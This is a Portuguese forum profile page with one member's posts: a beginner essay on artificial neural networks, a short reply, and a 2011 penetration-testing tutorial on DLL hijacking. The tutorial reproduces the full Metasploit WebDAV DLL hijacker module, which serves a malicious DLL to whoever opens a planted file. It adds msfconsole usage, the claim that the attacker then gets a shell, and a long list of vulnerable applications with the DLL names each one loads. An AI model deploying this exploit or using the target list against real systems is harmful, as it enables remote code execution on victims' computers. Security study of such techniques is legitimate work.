Menu

Mostrar postagens

Esta seção permite que você visualize todas as postagens feitas por este membro. Observe que você só pode ver postagens feitas em áreas às quais tem acesso atualmente.

Menu Mostrar postagens

Mensagens - f0nt_Drk

#1
Eletrônica | Hardware / Redes Neurais Artificiais
30 de Outubro , 2011, 02:32:49 PM
Escrito por: Ômar Fontenele a.k.a f0nt_Drk
http://experiencesblog.tumblr.com
omar.fontenele[at]gmail[dot]com



Sumário


1 Introdução
2 Inteligência Bioartificial
2.1 Conceitos gerais da aplicação tecnológica
2.2 Biotecnologia
2.3 Redes Neurais Artificiais
2.3.1 Entendendo as Redes Neurais
2.3.2 Estruturalização de uma Rede Neural
2.3.3 Embasamentos Técnicos.
2.3.4 Modelos
2.3.4.1 Perceptron
2.3.4.2 Perceptron Multi-Camadas
2.3.4.3 Redes Khonen
2.3.4.4 Redes Hopfield
2.3.5 Aplicação
3 Consideraçoes Finais





Introdução

Inicialmente para entendermos essa logica de aplicação, façamos uma analogia básica : sabendo que a matemática é uma aplicação de um método de questionamento crítico e aplicando-a obtemos diversas ferramentas, que dentre elas obtemos a lógica de programação, que aplicando essa lógica obtemos uma estrutura programacional que gera uma função, assim em uma cadeia podemos gerar um programa propriamente dito, cujo terá um objetivo o qual será aplicado em uma determinada situação ou designado a realizar uma determinada tarefa que servirá para atender uma necessidade, assim suprindo-a e mantendo um equilibrio em uma larga cadeia de aplicações .
Com isso teremos mais noção de aplicação de conhecimento e de como lidar com as novas tecnologias que vem sendo cada vez mais mutaveis e maleaveis para serem aplicadas em diversos meios e diversos fins, nos dando a possibilidade de reconhecimento das mesmas e nos capacitando a acompanhar esse fluxo que jamais cessa.



Inteligência Bioartificial

Conceitos gerais da aplicação tecnológica

Proveniente do grego a palavra obtem o sentido de estudo do oficio - arte – e absorve o valor semântico atual de conhecimento técnico e científico além das ferramentas, materiais e processos .
Porém a tecnologia do século XX vai além disso, sendo muitas vezes empregada com o valor de digital, moderno ou avançado, por isso a importância de entendermo-la em seu sentido mais atual.
De fato a tecnologia tem sido cada vez mais necessaria - em quase todos os âmbitos da sociedade – e atualmente ela tem sido só mais um meio de aplicar, criar, analisar e comprovar novos conceitos .




Biotecnologia

Propriamente dita a Biotecnologia é a aplicação do uso de técnicas e ferramentas em prol da Vida, tanto na manutenção da mesma quanto nas particularidades, na produção, na criação e desenvolvimento.
É importante lembrar que a Vida neste caso não é simplesmente a nossa qual conhecemos, mas de todos os seres vivos bem como se subentende a partir de Bio.
Para começarmos a entender os processos e a dissetar-los podemos partir desta citação :
"Biotecnologia define-se pelo uso de conhecimentos sobre os processos biológicos e sobre as propriedades dos seres vivos, com o fim de resolver problemas e criar produtos de utilidade."
Convenção sobre Diversidade Biológica (Artigo 2.Utilização de Termos)." Nações Unidas. 1992. Recuperado em 27 de março de 2008.



Redes Neurais Artificiais

Emabasadas na estrutura neural do cerebro humano as Redes Neurais Artificiais foram desenvolvidas para que através de ligações e codificações matemáticas pudessem representar de uma forma direcionada uma determinada função que pudesse realizar determinada tarefa.
Tendo em vista a caracteristica não linear, paralela e extremamente rapida do cerebro em processar informações e as armanezar assim exemplificando uma aprendizagem, é justafemente essa a função de uma rede neural artificial, que através de numeros exemplifica os processos de um cérebro ao analisar uma informação, por isso é extremamente viavél a utilizaçao dessa tecnologia nos meios de produção em massa, na segurança, e em meios industriais além de serem também convencionais no nosso próprio dia a dia .




Entendendo as Redes Neurais

Uma rede neural pode ou não ser constituida por neurônios lineares, a sua estrutura propriamente dita continuará sendo a mesma mas a mudança estará no processamento dos dados, dependendo da informação ela pode ser destribuida por toda a rede, já a não linear terá uma continuidade de distribuição de informações e quanto ao controle de entrada e saida.
O mapeamento de entra e saida agregam a rede uma aprendizagem semelhante de um aluno com seu professor, onde parâmetro que serão previamente processados já estão com suas determinadas ordens de funcionamento, assim com o treinamento efetivo do neuronio artificial ele minimiza a diferença entre o processo real de dados e a resposta deseja, para que isso ocorra é necessario repetir os procedimentos para que através dos modelos estatísticos e da variação dos pesos sinápticos – que são as forças de conexão entre os neuronios- para assim minimizar os erros e se aproximar dos resultados desejados.
Pode também ser extremamente adptavel ao ambiente e as regras estatísticas lhe foram impostas podendo até apresentar pequenas mudanças em tempo real, isto é, a medida em que determinada determinada função está sendo executada o neurônio pode mudar seus parâmetros antes que seja finalizada a função se este já for treinado .
Podem eles também discernir situações ambiguas assim permitindo a confiança da escolha tomada, de acordo com o treinamento previo nas determinadas situações, Outra caracteristica relevante é a contextualização da informação, pois quando um neuronio processa aquela informação os outros já ficam a par do que está sendo processado .

Estruturalização de uma Rede Neural

Para que possamos visualizar melhor essa estrutura as vezes tão complexas é necessario fazermos certas analogias, a principal e a mais viavél tende a ser a dos neuornios vivos entre nossos neuronios artificiais. Vejamos bem :




A imagem acima de um neuronio vivo cuja estrutura já conhecida e identificavel, para compararmos com a estrutura de um neuronio artificial, vejamos :





O fluxo de recebimento de informações é o mesmo, seguem o mesmo padrão de forma generica, os procedimentos em sí é que se diferenciam, pelo funcionamento biologico do neuronio vivo ser perceptivelmente diferente desta imagem acima que contém uma serie de ordens programadas numericamente, logicamente e trabalham com dados diferentes, mas são programados para tratar de forma igual ou parecida a uma informação processada pelo cerebro, como a identificação de uma imagem e seu processamento pelo cerebro, assim é feito com que os sinais de um neuronio artificial seja processado só que através de conteúdos diferenciados .
Embasamentos técnicos

A função da soma (∑) processa os estimulos ponderados(X) pelos respectivos pesos (W) onde logo após obtem-se a saída gerada pelo neuronio da camada anterior (Y).



Seguindo o processo o próximo passo cabe a função de ativação onde limita o sinal de saida dos neuronios a valores finitos (Quantizaveis) normalmente em um teralo de [1,0] ou [-1,1].



Quanto as suas funções de proessamento, temos dentre tantas, as três principais:

Função Degrau:



É a a funçao mais simples, onde admite 2 valores, [1,0]

Função Linear:




Função sigmóide:



Usualmente as redes neurais apresentam três níveis de camadas de neurônios
Uma camada de entrada: onde os padrões são apresentados à rede;
Uma camada de saída: onde o resultado é apresentado;
Camadas intermediárias ou ocultas: onde é feita a maior parte do processamento, através das conexões ponderadas. Elas situam-se entre a camada de entrada e a camada de saída e podem ser consideradas como extratoras de características.




Modelos

Perceptron

A rede do tipo Perceptron foi o modelo pioneiro nesta área: simples, de fácil implementação. Podem ser utilizadas em tarefas de classificação simples, muito usadas no sistema de classificação de produtos em esteiras inteligentes e em outros métodos ligados a area de produção e afins.

Perceptron Multi-Camadas

O Perceptron Multi-Camadas é uma extensão do Perceptron simples, capaz de trabalhar com problemas não-linearmente separáveis. Este avanço foi possível através da utilização de, pelo menos, uma camada entre a entrada e a saída. Estas camadas intermediárias, conhecidas como camadas ocultas, trabalham como um reconhecedor de características, que ficam armazenadas nos pesos sinápticos. O algoritmo de treinamento mais utilizadoé o "Backpropagation", um tipo de Aprendizado Supervisionado por Correção de Erro.




Mapas Auto Organizáveis - Redes de Kohonen

Inspirada nos mapas corticais (do cerebro), a rede de Kohonen utiliza o Aprendizado Competitivo, onde os neurônios competem entre si para responder a um estímulo apresentado. Durante o aprendizado, formam-se agrupamentos de neurônios topologicamente organizados, onde cada grupo é responsável por responder a uma classe de estimulos.
A característica de auto-organização, que dá nome a esta classe de redes neurais, é devida ao fato de utilizarem regras de aprendizado não supervisionado, como o Aprendizado Competitivo. Neste aprendizado, a única informação apresentada à rede são os padrões de entrada. Sendo assim, as ligações sinapticas são definidas de forma a recompensarem o neurônio vancedor - sem comparações com padrões desejados.



Redes de Hopfield

Também conhecida como Memória Associativa, a Redes Hopfield armazena padrões que são recuperados a partir de estímulos de entrada. Uma característica importante deste modelo é a chamada recorrência: as saídas ligam-se as entradas por um atraso de tempo; com efeito, a resposta da rede sempre depende de seu estado anterior.






A redes neurais artificiais em suma através de implementação de código e inteligencia artificial montam e solidificam uma base extremamente inteligente de aplicação das ciências aprimoradas .


Versão PDF > 4shared.com apptech.html
New ! > http://packetstormsecurity.org/files/106331/apptechto.pdf

Thank you, apologize me for anything .
#2
Penetration Tests / Re:DLL Hijack with Metasploit
03 de Janeiro , 2011, 03:48:54 PM
Citação de: Mateus online 03 de Janeiro , 2011, 02:23:28 PM
Anda assistindo os videos do securitytube.net? muito bons.... 8)

Depende né ;)

Citação de: Watila online 03 de Janeiro , 2011, 01:52:34 PM

Funciona bem nos sistemas operacionais mais recentes? tipo vista/7?


Olha na lista de aplicativos vulns que lá estão a maioria e tem alguns bem recentes também ;)
#3
Penetration Tests / DLL Hijack with Metasploit
03 de Janeiro , 2011, 12:50:09 PM
É o seguinte, a técnica consiste em explorar a DLL vulneravel de algum programa e a exploitar .



Primeiro vamos ao nosso Metasploit :

user@root ~# msfconsole

Agora vamos criar uma DLL maliciosa similar a original da Aplicação . usando este exploit :


##
# $Id: webdav_dll_hijacker.rb 10101 2010-08-23 13:41:59Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
   Rank = ManualRanking

   #
   # This module acts as an HTTP server
   #
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Exploit::EXE

   def initialize(info = {})
      super(update_info(info,
         'Name'         => 'WebDAV Application DLL Hijacker',
         'Description'   => %q{
            This module presents a directory of file extensions that can lead to
         code execution when opened from the share. The default EXTENSIONS option
         must be configured to specify a vulnerable application type.
         },
         'Author'      =>
            [
               'hdm',   # Module itself
               'jduck', # WebDAV implementation
               'jcran', # Exploit vectors
            ],
         'License'      => MSF_LICENSE,
         'Version'      => '$Revision: 10101 $',
         'References'   =>
            [
               ['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html'],
               ['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'],
            ],
         'DefaultOptions' =>
            {
               'EXITFUNC' => 'process',
            },
         'Payload'      =>
            {
               'Space'   => 2048,
            },
         'Platform'      => 'win',
         'Targets'      =>
            [
               [ 'Automatic',   { } ]
            ],
         'DisclosureDate' => 'Aug 18 2010',
         'DefaultTarget'  => 0))

      register_options(
         [
            OptPort.new(   'SRVPORT',       [ true, "The daemon port to listen on (do not change)", 80 ]),
            OptString.new(   'URIPATH',       [ true, "The URI to use (do not change).", "/" ]),
            OptString.new(   'BASENAME',       [ true, "The base name for the listed files.", "policy" ]),
            OptString.new(   'SHARENAME',    [ true, "The name of the top-level share.", "documents" ]),
            OptString.new(   'EXTENSIONS',    [ true, "The list of extensions to generate", "txt" ])
         ], self.class)

      deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
   end


   def on_request_uri(cli, request)

      case request.method
      when 'OPTIONS'
         process_options(cli, request)
      when 'PROPFIND'
         process_propfind(cli, request)
      when 'GET'
         process_get(cli, request)
      else
         print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
         resp = create_response(404, "Not Found")
         resp.body = ""
         resp['Content-Type'] = 'text/html'
         cli.send_response(resp)
      end
   end


   def process_get(cli, request)

      myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
      webdav = "\\\\#{myhost}\"

      if blacklisted_path?(request.uri)
         print_status("#{cli.peerhost}:#{cli.peerport} GET => 404 [BLACKLIST] (#{request.uri})")
         resp = create_response(404, "Not Found")
         resp.body = ""
         cli.send_response(resp)
         return
      end

      if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)
         print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")
         return if ((p = regenerate_payload(cli)) == nil)
         data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
         send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
         return
      end

      if (request.uri =~ /\.(...?)$/i)
         print_status("#{cli.peerhost}:#{cli.peerport} GET => DATA (#{request.uri})")
         data = "HELLO!"
         send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
         return
      end

      print_status("#{cli.peerhost}:#{cli.peerport} GET => REDIRECT (#{request.uri})")
      resp = create_response(200, "OK")

      resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{datastore['SHARENAME']}\"></head><body></body></html>|

      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
   end

   #
   # OPTIONS requests sent by the WebDav Mini-Redirector
   #
   def process_options(cli, request)
      print_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
      headers = {
         'MS-Author-Via' => 'DAV',
         'DASL'          => '<DAV:sql>',
         'DAV'           => '1, 2',
         'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
         'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
         'Cache-Control' => 'private'
      }
      resp = create_response(207, "Multi-Status")
      headers.each_pair {|k,v| resp[k] = v }
      resp.body = ""
      resp['Content-Type'] = 'text/xml'
      cli.send_response(resp)
   end

   #
   # PROPFIND requests sent by the WebDav Mini-Redirector
   #
   def process_propfind(cli, request)
      path = request.uri
      print_status("#{cli.peerhost}:#{cli.peerport} PROPFIND #{path}")
      body = ''

      my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
      my_uri    = "http://#{my_host}/"

      if path !~ /\/$/

         if blacklisted_path?(path)
            print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 404 (#{path})"
            resp = create_response(404, "Not Found")
            resp.body = ""
            cli.send_response(resp)
            return
         end

         if path.index(".")
            print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 File (#{path})"
            body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
            # send the response
            resp = create_response(207, "Multi-Status")
            resp.body = body
            resp['Content-Type'] = 'text/xml; charset="utf8"'
            cli.send_response(resp)
            return
         else
            print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 301 (#{path})"
            resp = create_response(301, "Moved")
            resp["Location"] = path + "/"
            resp['Content-Type'] = 'text/html'
            cli.send_response(resp)
            return
         end
      end

      print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Directory (#{path})"
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
   <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
      <D:href>#{path}</D:href>
      <D:propstat>
         <D:prop>
            <lp1:resourcetype><D:collection/></lp1:resourcetype>
            <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
            <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
            <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
            <D:supportedlock>
               <D:lockentry>
                  <D:lockscope><D:exclusive/></D:lockscope>
                  <D:locktype><D:write/></D:locktype>
               </D:lockentry>
               <D:lockentry>
                  <D:lockscope><D:shared/></D:lockscope>
                  <D:locktype><D:write/></D:locktype>
               </D:lockentry>
            </D:supportedlock>
            <D:lockdiscovery/>
            <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
         </D:prop>
      <D:status>HTTP/1.1 200 OK</D:status>
   </D:propstat>
</D:response>
|

      if request["Depth"].to_i > 0
         trail = path.split("/")
         trail.shift
         case trail.length
         when 0
            body << generate_shares(path)
         when 1
            body << generate_files(path)
         end
      else
         print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Top-Level Directory"
      end

      body << "</D:multistatus>"

      body.gsub!(/\t/, '')

      # send the response
      resp = create_response(207, "Multi-Status")
      resp.body = body
      resp['Content-Type'] = 'text/xml; charset="utf8"'
      cli.send_response(resp)
   end

   def generate_shares(path)
      share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
   end

   def generate_files(path)
      trail = path.split("/")
      return "" if trail.length < 2

      base  = datastore['BASENAME']
      exts  = datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/)
      files = ""
      exts.each do |ext|
         files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
      end

      files
   end

   def gen_timestamp(ttype=nil)
      ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
   end

   def gen_datestamp(ttype=nil)
      ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
   end

   # This method rejects requests that are known to break exploitation
   def blacklisted_path?(uri)
      return true if uri =~ /\.exe/i
      return true if uri =~ /\.(config|manifest)/i
      return true if uri =~ /desktop\.ini/i
      return true if uri =~ /lib.*\.dll/i
      return true if uri =~ /\.tmp$/i
      return true if uri =~ /(pcap|packet)\.dll/i
      false
   end

   def exploit

      myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

      @exploit_unc  = "\\\\#{myhost}\"

      if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
         raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
      end

      print_status("")
      print_status("Exploit links are now available at #{@exploit_unc}#{datastore['SHARENAME']}\")
      print_status("")

      super
   end
end


Depois iremos adiciona-lo no nosso Metasploit, - vide : http://www.forum.darkers.com.br/index.php?topic=12706.0  -


msf > use webdav_dll_hijacker
msf  exploit (webdav_dll_hijacker) > exploit

   
  • Exploit running has background job
       
  • Started Reverse Handler on xxx.xx.xx.xx:yy
           
  • Exploit links are avaliable at \\xxx.xx.xx.xx\aaaaaa\
       
  • Using URL: [url]http://0.0.0.0:00
       
  •   Local IP: [url]http://xxx.xx.xx.xx/
       
  • Server Started
    msf exploit (webdav_dll_hijacker) >[/tt]



    Depois a vitima acessa o host, onde encontraram a aplicação referente ao programa que tera a DLL furada !
    Ela o abrira -pode ser um slide do Power Point por exemplo- então voce tera uma shell em seu sistema .



    Lista de Aplicativos Vuln .



    ArchiCad 13.00  (srcsrv.dll) – SeyFellaH
    Nokia Suite contentcopier  (wintab32.dll) – nuclear
    Nokia Suite communicationcentre  (wintab32.dll) – nuclear
    Sony Sound Forge Pro 10.0 (MtxParhVegasPreview.dll) – CCNA
    Camtasia Studio 7  (mfc90enu.dll, mfc90loc.dll)  – p4r4n0id
    Media Player Classic v1.3.2189.0  (ehtrace.dll) – Nishant Das Patnaik
    Microsoft Help and Support Center  (wshfra.dll) – HxH
    Microsoft Clip Book Viewer (mfaphook.dll) – Beenu Arora
    Real Player 1.1.5 Build 12.0.0.879  (wnaspi32.dll) – v3n0m
    SiSoftware Sandra  (dwmapi.dll) – ALPdaemon
    SMPlayer v0.6.9 (wintab32.dll) – Alvaro Ovalle
    Winmerge v2.12.4 (MFC71ESN.DLL) – Alvaro Ovalle
    Steam Games (steamgamesupport.dll) – storm
    UltraISO Premium 9.36 .isz (daemon.dll) – Mohamad Ramadan
    wscript.exe (XP)  (wshfra.dll) – Mohamed Clay
    Autodesk AutoCAD 2007  (color.dll) – xsploited securit.
    Daemon tools lite .mds (mfc80loc.dll) – Mohamed Clay
    Google Earth v5.1.3535.3218 .kmz  (quserex.dll) – LiquidWorm – Verified
    Nullsoft Winamp 5.581 .cda  (wnaspi32.dll) – LiquidWorm – Verified
    Media Player Classic 6.4.9.1  .mka (iacenc.dll) – LiquidWorm – Verified
    Corel PHOTO-PAINT X3 v13.0.0.576 .cpt  (crlrib.dll) – LiquidWorm – Verified
    CorelDRAW X3 v13.0.0.576 .cmx .csl  (crlrib.dll) – LiquidWorm
    Adobe ExtendedScript Toolkit CS5 v3.5.0.52  (dwmapi.dll) – LiquidWorm
    Adobe Extension Manager CS5 v5.0.298  (dwmapi.dll) – LiquidWorm
    Mozilla Thunderbird  ( dwmapi.dll ) – h4ck3r#47
    Microsoft Office PowerPoint 2007  (rpawinet.dll) – sToRm
    Roxio MyDVD 9  (HomeUtils9.dll) – sToRm
    Windows Internet Communication Settings  (schannel.dll) – ALPdaemon
    Microsoft Windows Contacts  (wab32res.dll) – sToRm
    Adobe InDesign CS4  (ibfs32.dll) – Glafkos Charalamb.
    Cisco Packet Tracer 5.2  (wintab32.dll) – CCNA
    Nvidia Driver  (nview.dll) – Encrypt3d.M!nd
    Adobe Illustrator CS4  (aires.dll) – Glafkos Charalamb.
    Adobe On Location CS4  (ibfs32.dll) – Glafkos Charalamb.
    Adobe Premier Pro CS4  (ibfs32.dll) – Glafkos Charalamb.
    Roxio Creator DE  (HomeUtils9.dll) – sToRm
    Skype <= 4.2.0.169  (wab32.dll) – Glafkos Charalamb.
    Mediaplayer Classic 1.3.2189.0  (iacenc.dll) – Encrypt3d.M!nd
    TechSmith Snagit 10 (Build 788)  (dwmapi.dll) -     Encrypt3d.M!nd
    Ettercap NG-0.7.3  (wpcap.dll) – Teo Manojlovic
    Microsoft Group Convertor .grp (imm.dll) – Beenu Arora
    Safari v5.0.1  (dwmapi.dll) – Secfence
    Adobe Device Central CS5  (qtcf.dll) – Glafkos Charalamb.
    Microsoft Internet Connection Signup Wizard  (smmscrpt.dll) – Beenu Arora
    InterVideo WinDVD 5  (cpqdvd.dll) – Beenu Arora
    Roxio Photosuite 9  (homeutils9.dll) – Beenu Arora
    Microsoft Vista BitLocker Drive Encryption (fveapi.dll) – Beenu Arora
    VLC Media Player  (wintab32.dll) – Secfence
    uTorrent DLL Hijacking Vulnerabilities – Dr_IDE
    TeamMate Audit Management Software Suite  (mfc71enu.dll) – Beenu Arora
    Microsoft Office Groove 2007  (mso.dll) – Beenu Arora
    Microsoft Address Book 6.00.2900.5512  (wab32res.dll) – Beenu Arora
    Microsoft Visio 2003  (mfc71enu.dll) – Beenu Arora
    avast! <= 5.0.594 license files  (mfc90loc.dll) – diwr
    Adobe Photoshop CS2  (Wintab32.dll) – sToRm
    Adobe Dreamweaver CS5 <= 11.0 build 4909  (mfc90loc.dll) – diwr
    BS.Player <= 2.56 build 1043  (mfc71loc.dll) – diwr
    Adobe Dreamweaver CS4  (ibfs32.dll) – Glafkos Charalamb.
    TeamViewer <= 5.0.8703  (dwmapi.dll) – Glafkos Charalamb.
    Microsoft Windows 7 wab.exe  (wab32res.dll) – TheLeader
    Opera v10.61  (dwmapi.dll) – Nicolas Krassas
    Microsoft Windows Movie Maker <= 2.6.4038.0  (hhctrl.ocx) -     TheLeader
    Firefox <= 3.6.8  (dwmapi.dll) – Glafkos Charalamb.
    Windows Live Email  (dwmapi.dll) – Nicolas Krassas
    Foxit Reader <= 4.0 pdf Jailbreak Exploit – Jose Miguel Espar.
    uTorrent <= 2.0.3  (plugin_dll.dll) – TheLeader
    Microsoft Power Point 2010  (pptimpconv.dll) – TheLeader
    Wireshark <= 1.2.10  (airpcap.dll) – TheLeader
    Notepad++ (SciLexer.dll) – Drisky
    Microsoft Power Point 2007 (pp4x322.dll) – monstream0
    Microsoft Visio 2010 v14.0.4514.1004 (dwmapi.dll) – LiquidWorm
    Microsoft Word 2007 (msapsspc.dll,schannel.dll, digest.dll, msnsspc.dll) – Secfence
    Microsoft Powerpoint 2007 (pp7x32.dll, pp4x322.dll, msapsspc.dll, schannel.dll, digest.dll, msnsspc.dll) – Secfence
    Tftpd32 version 3.35 (IPHLPAPI.DLL) – CCNA
    Microsoft ATL Trace Tool Build 10.0.30319.1 atltracetool8.exe dwmapi extention .trc – 0xjudd
    Windows Live! Messenger (Build => 14.0.8117.416) msgsres.dll Hijacking – xsploited security
    Active Perl v5.12.1 (wshenu.dll) – Xss mAn & germaya_x
    CATIA V5 R17 (hzs_lm.dll) – T.W.
    Autodesk AutoCAD 2007 (color.dll) – xsploited security
    Cool Edit Pro 2.0 (coolburn.dll) – Mi4night
    GOM Player 2.1.25.5015 (schannel.dll) – Mi4night
    MAGIX Music Studio 12 deluxe (playripla6.dll) – Mi4night
    Opera 10.61 (dwmapi.dll) – Mi4night
    TeamViewer 5 (dwmapi.dll) – Mi4night
    Windows Address Book (wab32res.dll) – Mi4night
    Java Version 6 Update 21 (schannel.dll) – Mi4night
    Windows Progman Group Converter (imm.dll) – Mi4night
    NetStumbler 0.4.0 (mfc71enu.dll)
    Windows Mail 6.0.6000.16386 (wab32res.dll) – Fishy Fish
    TeamViewer (TV.dll) – germaya_x pc
    Wireshark <= 1.2.10 (libintl-8.dll) – Infolookup
    Microsoft Windows Media Encoder 9 .prx (msxml.dll) – Venom23
    Notepad++ V5.4.5 Dll Hijack (SpellChecker.dll) – 41.w4r10r
    Windows 7 and Vista Backup Utility .wbcat (fveapi.dll) – Christian Heinrich
    Virtual DJ 6.1.2 .mp3 hdjapi.dll – Classity
    Atheros Client Utility dll Hijacking exploit (oemres.dll) – germaya_x
    Internet download manager dll Hijacking exploit (idmmkb.dll) – germaya_x
    Forensic Toolkit .ftk (MFC90DEU.DLL) – m1k3
    EnCase .endump (rsaenh.dll) – m1k3
    IBM Rational License Key Administrator .upd (IBFS32.DLL) – m1k3
    PGP Desktop 9.8 .pgp (credssp.dll) – m1k3
    Forensic CaseNotes .notes (credssp.dll) – m1k3
    Microsoft RDP .rdp (ieframe.dll) – 41.w4r10r
    pdf x viewer .pdf (wintab32.dll) – g3k
    Ultr@ VNC Viewer .vnc (vnclang.dll) – g3k
    Babylon v8.0.0.18 .txt (besextension.dll) – DataIran Security
    QtWeb v3.3 .htm, .xml (wintab32.dll) – Prashant Uniyal
    IZArc 4.1.2.2012 .rar .zip .jar (ztv7z.dll) – Anastasios Monachos
    Jetaudio v7.1.8.4006 plus VX .mp3 mogg .mov and others (wnaspi32.dll) – DataIran Security (NEO)
    TechSmith Snagit v7.2.5 .snagprof (mfc71enu.dll) – hevnsnt
    QXDM v03.09.19 (Qualcomm eXtensible Diagnostic Monitor) .isf (mfc71enu.dll) – hevnsnt
    SeaMonkey v2.0.6 .html .xml .txt .jpg (dwmapi.dll) – Anastasios Monachos
    PGP Desktop v9.10.x-10.0.0 .p12 .pem .pgp and others (tsp.dll, tvttsp.dll) – Aung Khant
    NCP Secure Entry Client v.9.23.017 pcf, spd, wge, wgx (conman.dll, dvccsabase002.dll, kmpapi32.dll, ncpmon2.dll) – Anastasios Monachos
    NCP Secure Client – Juniper Edition v.9.23.017 pcf, spd, wge, wgx (dvccsabase002.dll, conman.dll, kmpapi32.dll) – Anastasios Monachos
    Microsoft Office Groove 2007 DLL Hijacking Exploit (grooveperfmon.dll) – AmnPardaz Security Research Team
    Kineti Count v1.0B .kcp (dwmapi.dll) – AntiSecurity
    Fotobook Editor v5.0 .dtp (fwpuclnt.dll) – AntiSecurity
    SWiSHmax .swi (swishmaxres.dll) – anT!-Tr0J4n
    BifrsoT (Bifrsotsve.dll) – anT!-Tr0J4n
    SnowFox Total Video Converter (dwmapi.dll) – anT!-Tr0J4n
    agrin_free (wnaspi32.dll) – anT!-Tr0J4n
    Sothink SWF Decompiler (dwmapi.dll) – anT!-Tr0J4n
